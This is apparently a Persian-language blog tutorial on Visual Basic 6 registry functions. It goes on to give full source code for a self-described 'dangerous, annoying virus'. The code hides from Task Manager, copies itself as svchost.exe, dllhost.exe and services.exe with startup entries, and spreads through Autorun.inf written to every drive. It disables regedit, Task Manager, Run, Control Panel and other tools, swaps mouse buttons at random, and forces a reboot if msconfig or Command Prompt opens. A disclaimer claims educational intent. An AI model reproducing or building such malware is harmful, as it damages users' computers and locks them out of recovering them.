كار با رجيستري (توابع كار با رجيستري)

براي کار کردن با رجیستری باید از توابع API استفاده کنیم. با تعریف این توابع شما میتونید با رجیستری هر کاری که بخواید بکنید. برای آشنایی با این توابع این آموزش رو تا آخرش دنبال كنيد.

تعريف توابع و ثابتهای مورد نیاز. کدهای زیر رو تو Module کپی کنید و به ادامه آموزش توجه کنید:

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
"Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

در طی این آموزش شما یا میگیرید Task Managerرو غیر فعال کنید.

براي غیر فعال کردن Task Manager باید در مسیر زیر یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازید و مقدار اونو 1 بذارید تا Task Manager غیر فعال بشه و برای فعال کردن دوباره باید مقدار اونو 0 بذارید.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

RegCreateKey : اين تابع برای ساختن یک مسیر در رجیستری به کار میره. فرض کنید میخواید مسیر زیر رو تو رجیستری بسازید:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

قسمتي كه پر رنگه در حال حاضر تو رجیستری وجود نداره و ما قصد داریم اون مسیر رو بسازیم. به کد زیر توجه کنید:

r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)

كد بالا در شاخه اصلیه HKEY_CURRENT_USER مسیری که گفتیم رو جستجو میکنه و اگه قسمتی از مسیر رو پیدا نکرد، اون مسیر رو میسازه. متغیر keyhand یک اشاره گر از کلید یافت شده بر میگردونه که خیلی به دردمون میخوره و از اینجا به بعد سر و کارمون با اون اشاره گره. در صورتی که به هر دلیلی عملیات نا موفق باشه تابع عددی غیر از 0 درون متغیر r قرار میده که معمولاً این اتفاق نمی افته.

خب مسیری که باید میساختیم، ساخته شد. حالا باید یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازیم و مقدار اونو 1 بذاریم.

RegSetValueEx : اين تابع یک کلید (برای درک بهتر، کلید رو یک فایل در نظر بگیرید) از هر نوعی که تعیین کنیم (برای درک بهتر، نوع را پسوند فایل در نظر بگیرید. مثلاً REG_SZ پسوند .txt داره) در مسیری که تعیین میکنیم میسازه و مقدار تعیین شده رو درون اون کلید قرار میده (برای درک بهتر، مقدار رو محتوای فایل در نظر بگیرید). فرض کنید میخوایم در اون مسیری که در مرحله قبل ساخته بودیم، کلید DisableTaskMgr رو بسازیم و مقدارشو 1 بذاریم:

r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)

خب میبینید که به جای نوشتن کل مسیر، از همون اشاره گر که گفته بودم استفاده کردم. این اشاره گر به همون مسیری که ساخته بودیم اشاره میکنه و کار ما رو خیلی ساده میکنه چون ما رو از نوشتن مسیرهای طول و دراز راحت میکنه. DisableTaskMgr هم که معلومه چیه؛ کلید یا همون فایلمونه. به تون عدد 0 که بعد از نام کلید اومده کاری نداشته باشید. میبینید که بعد از عدد 0 نوع متغیر تعیین شده و بعدش هم مقدارش تعیین شده که باید 1 باشه ولی اون عدد 4 چیه ديگه؟

نوع REG_DWORD يك نوع عددیه و اعداد در اون در مبنای 16 (Hexadecimal) ذخیره میشن. مثلاً عدد 1 به صورت 01 00 00 00 ذخیره میشه و میبینید که این عدد از چهار قسمت مجزا تشکیل شده که اگر هر کدوم از این چهار  قسمت رو ننویسیم عدد ما اشتباه خواهد بود. چند تا مثال براتون میزنم تا بهتر این موضوع رو متوجه بشید:

10 = 0A 00 00 00
11 = 0B 00 00 00
15 = 0F 00 00 00
16 = 10 00 00 00
255 = FF 00 00 00
256 = 00 01 00 00
511 = FF 01 00 00
512 = 00 02 00 00

اعداد در اینجا به صورت هشت بایتی ذخیره میشن پس نتیجه میگیریم که اون عدد 4 نشانگر 4 قسمته دو بایتیه (هر بایت در مبنای 16 از دو عدد و در مبنای 2 از هشت عدد تشکیل میشه). توضیح در این باره بسه. (من سخت افزارم ضعیفه. ثخط عفظار بد)

خب کلید DisableTaskMgr رو ساختیم اما هنوز یک کار دیگه مونده و اونم اتمام کار با اشاره‌گر هستش.

RegCloseKey : اين تابع کار با اشاره گره keyhand رو تموم میکنه. حتماً پیش خودتون میگید که این کار په لزومی داره؟ اگه با فایلها کار کرده باشید، میدونید که بعد از کار با یک فایل باید اونو بست و این کار با دستور Close #1 انجام میشد که عدد #1 اشاره گره فایل بود. در اینجا هم دقیقاً مانند کار با فایلها باید نام اشاره گر رو جلوی دستور RegCloseKey تایپ کنیم تا اشاره گر از بین بره یا به قول معروف فایل بسته بشه:

r = RegCloseKey(keyhand)

خب دیگه، کارمون تمومه حالا دیگه میتونیم Task Manager رو غیر فعال کنیم. به کد زیر توجه کنید تا بهتر با مفهوم اشاره گر و طرز کارش آشنا بشيد.

Private Sub Command1_Click()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)
    r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)
    r = RegCloseKey(keyhand)
End Sub

حالا میخوایم کلیدی که ساختیم رو پاک کنیم تا Task Manager به حالت اولش برگرده.

RegDeleteValue : اين تابع کلید تعیین شده رو پاک میکنه. این تابع هم مانند تابع RegSetValueEx اشاره گری که تعیین کننده مسیر است رو میگیره و اون مسیر کلید تعیین شده رو پیدا میکنه و پاک ميكنه:

r = RegDeleteValue(keyhand, "DisableTaskMgr")

البته شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز كنيد.

RegDeleteKey : اين تابع یک مسیر رو دریافت میکنه و انتهای اونو پاک ميكنه:

r = RegDeleteKey(keyhand, "System")

البته بازم شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز کنید ولی میتونید این کارو با همین تابع انجام بدید:

r = RegDeleteKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")

اين دستور فقط مسیر System رو پاک میکنه یعنی به قبل از اون کاری نداره در عین حال اگه بعد از مسیر System مسیر دیگه ای وجود داشته باشه نمیتونه ادامه مسیر رو پاک کنه. مثل مسیر زیر:

HKEY_CURRENT_USER \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Visual\Basic

در اینجا تابع قادر به حذف قسمت پر رنگ نخواهد بود و برای حذف این مسیر باید اونو از آخر پاک کنیم یعنی اول Basic رو پاک کنیم، بعد Visual رو پاک کنیم و بعد System رو پاک کنیم.

RegOpenKey : اين تابع تقریباً مثل تابع RegCreateKey کار میکنه با این تفاوت که قادر به ساختن مسیر نیست و فقط مسیر داده شده رو باز میکنه و یک اشاره گر از اون میسازه:

r = RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)

RegQueryValueEX : اين تابع براي خوندن مقادیر کلیدها به کار میره. فرض کنید میخوایم بدونیم که الان فایلهای مخفی در حال نمایش هستند یا نه، برای فهمیدن این موضوع اگر مقدار کلید Hidden در مسیر زیر 1 بود یهنی در حال نمایش هستند و اگر 0 بود یعنی مخفی هستند:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

برنامه زیر به مسیر بالا رجوع میکنه و محتوای کلید Hidden رو درون متغیر lngData قرار میده. این متغیر از نوع REG_DWORD هست و مقادیر 1 یا 0 میگیره که نشانگر Show یا Don’t Show بودن فایلهای مخفیه:

Private Sub Form_Load()
    Dim lngData As Long
    r = RegOpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", keyhand)
    r = RegQueryValueEx(keyhand, "Hidden", 0, REG_DWORD, lngData, 4)
    r = RegCloseKey(keyhand)
    MsgBox IIf(lngData, "Yes", "No")
End Sub

حالا میخوایم مبدونیم که کمپانی کامپیوتر چیه. برای متوجه شدن این موضوع باید به مسیر زیر رجوع کنید و محتوای کلید RegisteredOrganization رو ببینید. با استفاده از کد بالا نمیشه اینکارو انجام داد چون ما نمیدونیم محتوای کلید RegisteredOrganization چند کاراکتره و متناسب با اون یک متغیر بسازیم، پس کاری که میکنیم اینه که اول از همه اطلاعاتی درباره کلید مورد نظر بدست بیاریم. به تکه برنامه زیر توجه کنید:

Private Sub Form_Load()
    Dim lValueType As Long, strBuf As String, lDataBufSize As Long
   
    'Open The Key
    r = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", keyhand)
   
    'Retrieve Information About The Key
    Result = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, lValueType, ByVal 0, lDataBufSize)
   
    'Create a Buffer
    strBuf = String(lDataBufSize, Chr$(0))
   
    'Retrieve The Key's Content
    r = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal strBuf, lDataBufSize)
   
    'Close The Key
    r = RegCloseKey(keyhand)
   
    'Show Organization Name
    MsgBox Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
End Sub

تا اينجا تعدادی از توابعی که برای کار کردن با رجیستری لازمتون میشن رو یاد گرفتید. البته توابع کار با رجیستری محدود به همین چند تا نمیشن و بیشترن اما همین تعداد توابع جوابگوی نیازهای شماست. موفق باشید.

غير فعال كردن رجيستري

Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: DisableRegistryTools
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن Task Manager

Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: DisableTaskMgr
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن Display Properties

Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: NoDispCPL
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن Shutdown

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoClose
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن جستجو

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoFind
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن System Properties

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoPropertiesMyComputer
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن Run

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoRun
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

مخفي كردن گزينه All Programs از منوي Start

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoStartMenuMorePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

مخفي كردن درايو C:

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoDrives
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 4 = Hide)

مخفي كردن Control Panel

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoControlPanel
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

غير فعال كردن Folder Options

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoFolderOptions
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

نمايش فايلهاي مخفي

Key:  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Value Name: Hidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

نمايش فايلهاي ابر مخفي

Key:  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Value Name: SuperHidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

غير فعال كردن Add/Remove

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Uninstall]
Value Name: NoAddRemovePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

تغيير نام و كمپاني

موفق باشید.

Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
Value Name: RegisteredOwner , RegisteredOrganization
Data Type : REG_SZ (DWORD Value)
Value Data : (Your Name, Organization Name)

ويروس نويسي

آموزش ساخت یک ویروس قوی و آزار دهنده

اخطار : این وبلاگ هیچگونه مسئولیتی در قبال استفاده های ناهنجار و مخرب از آموزشهای این بخش را نخواهد پذیرفت و مسئولیت استفاده از مطالب این بخش از وبلاگ فقط با شماست. مطالب این بخش از وبلاگ مختص کسانی است که قصد یادگیری و درک طرز کار ویروس ها را دارند خواهد بود. توصیه میشود مطالب این بخش را فقط برای یادگیری هر چه بهتر ویژوال بیسیک مطالعه نمایید و از سو استفاده های غیر اخلاقی و آزار و اذیت، جدّاً خودداری نمایید.

توجه : استفاده از مطالب این بخش فقط با ذکر منبع بلامانع است.

خب الوعده وفا. اینم آموزش ساخت ویروسی که قولشو داده بودم، یک ویروس خطرناک.

درباره ویروس : خرابکاری های این ویروس عبارت اند از :

1-       اعمال محدودیت های زیر از طریق رجیستری :

غیر فعال کردن رجیستری (DisableRegEdit)
غیر فعال کردن Task Manager (DisableTaskManager)
غیر فعال کردن تنظیمات صفحه نمایش (DisableDisplayProperties)
غیر فعال کردن Shutdown (DisableShutdown)
غیر فعال کردن جستجو (DisableSearch)
غیر فعال کردن System Properties (DisableMyComputerProperties)
غیر فعال کردن Run (DisableRun)
ناپدید کردن All Programs از منوی Start (DisableAllPrograms)
مخفی کردن درایو C: (HideDrive_C)
غیر فعال کردن کنترل پنل (DisableControlPanel)
غیر فعال کردن Folder Options (DisableFolderOption)
محدود کردن نمایش فایلهای مخفی (DontShowHiddenFiles)
محدود کردن نمایش فایلهای ابر مخفی (DontShowSuperHiddenFiles)
غیر فعال کردن Add/Remove (DisableAddRemove)
تغییر نام و کمپانی کامپیوتر (ChangeNameAndCompanyName)

2-       تغییر دادن کلیک چپ و راست ماوس هر چند لحظه یک بار از طریق توابع API

3-       اجرا شدن خودکار ویروس موقع باز کردن درایوها با استفاده از فایل Autorun.inf

ویروس جالبی به نظر میرسه چون کاربر رو خیلی محدود میکنه و باعث میشه که کاربر راهی جز تعویض ویندوز نداشته باشه.

بعضی از محدودیت های ذکر شده در بند 1 بلافاصله پس از اجرای ویروس اعمال میشن، مثلاً عیر فعال کردن Task Manager و Registry و Folder Options و چند تای دیگه. برای اعمال شدن تغییرات و محدودیت های دیگه، ویندوز باید یکبار Logoff یا راه اندازی دوباره بشه.

این ویروس در ابتدای اجرا از کد App.TaskVisible = False استفاده میکنه که باعث میشه برنامه تو Task Manager دیده نشه و این خیلی به نفع شما و به ضرر کاربره. این ویروس بلافاصله پس از اجرا، یک نسخه از خودشو با نامهای svchost.exe و dllhost.exe در پوشه System32\Drivers\ کپی میکنه و یک نسخه با نام services.exe رو هم در مسیر All Users\Application Data\ کپی میکنه و بعد همشون رو تو Startup قرار  میده و بعد اجراشون میکنه. مزیت اینکارا اینه که کاربر نتونه ویروسی رو که با نام services.exe اجرا شده از حافظه خارج کنه (End Task). در ضمن پوشه های داخل درایو ویندوز رو ابر مخفی (Super Hidden) میکنه.

توجه : برای درک و فهم بهتره مطالب این بخش، باید با رجیستری و طرز کار اون آشنا باشید که در ادامه بیشتر توضیح میدم.

این ویروس از دو بخش تشکیل شده : اول بخش خرابکاری و دستکاری رجیستری. دوم بخش بلاک اصلی برنامه که میتونید هر چیزی که دلتون میخواد اونجا اضافه کنید. برای اینکه کارای ویروس مدام انجام بشن و محدود به لود فرم نباشن باید اونا رو تو یک یا چند تا تایمر قرار بدید. من از سه تایمر استفاده کردم. تایمر اول برای عوض کردن کلید چپ و راست ماوس است، تایم دوم بر ای تعیین Interval تایمر اوله تا حالت یکنواختی پیدا نکنه و هر چند لحظه یکبار (بین 1 تا 5 ثانیه) کلید چپ و راست ماوس عوض بشه و تایمر سوم هم چهار کار انجام میده: 1- ساختن فایل Autorun.inf تو تمام درایوها 2- بستن System Configuration Utility که احتمال میره کاربر اونو باز کنه 3- بستن Command Prompt که احتمال میره کاربر اونو باز کنه 4- خرابكاري يعني دستكاري كردن رجيستري و اعمال محدوديتها.

خب توضیحات درباره ویروس کافیه بهتره بریم سر وقته آموزش.

آموزش ساخت :

اول یک پروژه جدید باز کنید و بهش دو تا Module اضافه کنید و به فرمتون هم سه تا تایمر اضافه کنید و مشخصات زیر رو تغییر بدید :

[Form Properties]
Name = frmVirus
BorderStyle = 0 – None
Caption = Empty
ShowInTaskbar = False
Height = 0
Width = 0
Left = -5000
Top = -5000
Visible = False
[Timers Properties]
Timer1.Interval = 0
Timrr2.Interval =5000
Timer3.Interval = 500

حالا كدهاي زير رو تو قالب جنرال فرمتون كپي كنيد:

Dim bln As Boolean

Private Sub Form_Load()
    App.TaskVisible = False
   
    Dim sSave As String
    If App.PrevInstance = True Then End
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
   
   
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
  
    SetAttr WinDrive & "Windows", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Program Files", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Documents and Settings", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System32\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
   
    Timer2.Enabled = True
    Timer3.Enabled = True
   
End Sub

Private Sub Timer1_Timer()
    If bln = True Then
        bln = False
        Timer1.Enabled = False
        Call SwapMouseButton(1)
    Else
        bln = True
        Call SwapMouseButton(0)
    End If
   
    If blnBlockinput = True Then Call BlockInput(0)
End Sub

Private Sub Timer2_Timer()
    If Timer1.Enabled = False Then
        Timer1.Interval = CLng(Rnd * 5000)
        Timer1.Enabled = True
    End If
End Sub

Private Sub Timer3_Timer()
    Call MakeAutoRun
    Call CloseProgram("System Configuration Utility")
    Call CloseProgram("Command Prompt")
    Call Sabotage
End Sub

خب حالا كد زير رو تو Module1 كپي كنيد:

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal HKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3
Public Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function SetWindowText Lib "User32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Public Declare Function EnumWindows Lib "User32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function IsWindowVisible Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetParent Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const GWL_HWNDPARENT = (-8)
Public Const LB_ADDSTRING = &H180
Public Const LB_SETITEMDATA = &H19A
Public Declare Function GetActiveWindow Lib "User32" () As Long

Public Declare Function GetWindowDC Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const LWA_COLORKEY = &H1
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const BM_SETSTATE = &HF3

Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Public Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Const TH32CS_SNAPHEAPLIST = &H1
Const TH32CS_SNAPPROCESS = &H2
Const TH32CS_SNAPTHREAD = &H4
Const TH32CS_SNAPMODULE = &H8
Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Const TH32CS_INHERIT = &H80000000
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type

Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public hSnapShot As Long, uProcess As PROCESSENTRY32
Public blnMsgBoxResult As Boolean
Public strSource As String, strDest As String
Public strOutput(20) As String, strTemp As String
Public blnBlockinput As Boolean
Public strSysDir As String, strFileExist As String
Public strAppPath As String

و حالا كد زير رو تو Module2 كپي كنيد:

Public Sub AddToRun_Copy_Hide()
    blnVirusRuning = True
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
   
    If (App.EXEName <> "svchost" And App.EXEName <> "spoolsv" And App.EXEName <> "smss") Then
        strDest = WinDrive & "WINDOWS\system32\drivers\"
       
        FileCopy strSource, strDest & "svchost.exe"
        AddToRun "svchost", strDest & "svchost.exe"
        SetAttr strDest & "svchost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "svchost.exe", vbNormalNoFocus
       
        FileCopy strSource, strDest & "dllhost.exe"
        AddToRun "krnl32 dllhost", strDest & "dllhost.exe"
        SetAttr strDest & "dllhost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "dllhost.exe", vbNormalNoFocus
       
        strDest = WinDrive & "Documents and Settings\All Users\Application Data\"
        FileCopy strSource, strDest & "services.exe"
        AddToRun "ctfmon", strDest & "services.exe"
        SetAttr strDest & "services.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "services.exe", vbNormalNoFocus
       
    End If
End Sub
Private Sub SaveString(ByVal HKey As Long, strPath As String, strValue As String, ByVal lngdata As Long, ByVal lngType As Long, ByVal lngLen As Long)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, lngType, lngdata, CLng(lngLen))
    r = RegCloseKey(keyhand)
End Sub

Public Sub MakeTopMost(lngHwnd As Long)
    SetWindowPos lngHwnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

Public Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

Public Sub CloseProgram(ByVal WindowName As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, WindowName)
    If Handle = 0 Then Exit Sub
    Call SendMessage(Handle, &H10, 0&, 0&)
    Shell "Shutdown -r -t 0"
End Sub

Public Sub MakeAutoRun()
    Dim strDrive As String, strDrives As String
    On Error Resume Next
    strAutorun = "[autorun]" & vbCrLf & _
                 "OPEN=Autorun.exe" & vbCrLf & _
                 "shell\open=Open" & vbCrLf & _
                 "shell\open\Command=Autorun.exe" & vbCrLf & _
                 "shell\explore=Explore" & vbCrLf & _
                 "shell\explore\Command=""Autorun.exe -e"""
                
    strDrives = String(255, Chr$(0))
    Ret& = GetLogicalDriveStrings(255, strDrives)
    strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    For i = 1 To 100
        If Left$(strDrives, InStr(1, strDrives, Chr$(0))) = Chr$(0) Then Exit For
        strDrive = Left$(strDrives, InStr(1, strDrives, Chr$(0)) - 1)
        If strDrive <> "A:\" Then
            Open strDrive & "Autorun.inf" For Output As #1
            Print #1, strAutorun
            Close #1
        End If
        SetAttr strDrive & "Autorun.inf", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        FileCopy WinDrive & "Documents and Settings\All Users\Application Data\services.exe", strDrive & "Autorun.exe"
        SetAttr strDrive & "Autorun.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    Next
End Sub

Public Sub Sabotage() ' Sabotage = Kharab kari
    Call AddToRun_Copy_Hide
    Call DisableRegEdit
    Call DisableTaskManager
    Call DisableDisplayProperties
    Call DisableShutdown
    Call DisableSearch
    Call DisableMyComputerProperties
    Call DisableRun
    Call DisableAllPrograms
    Call HideDrive_C
    Call DisableControlPanel
    Call DisableFolderOption
    Call DontShowHiddenFiles
    Call DontShowSuperHiddenFiles
    Call DisableAddRemove
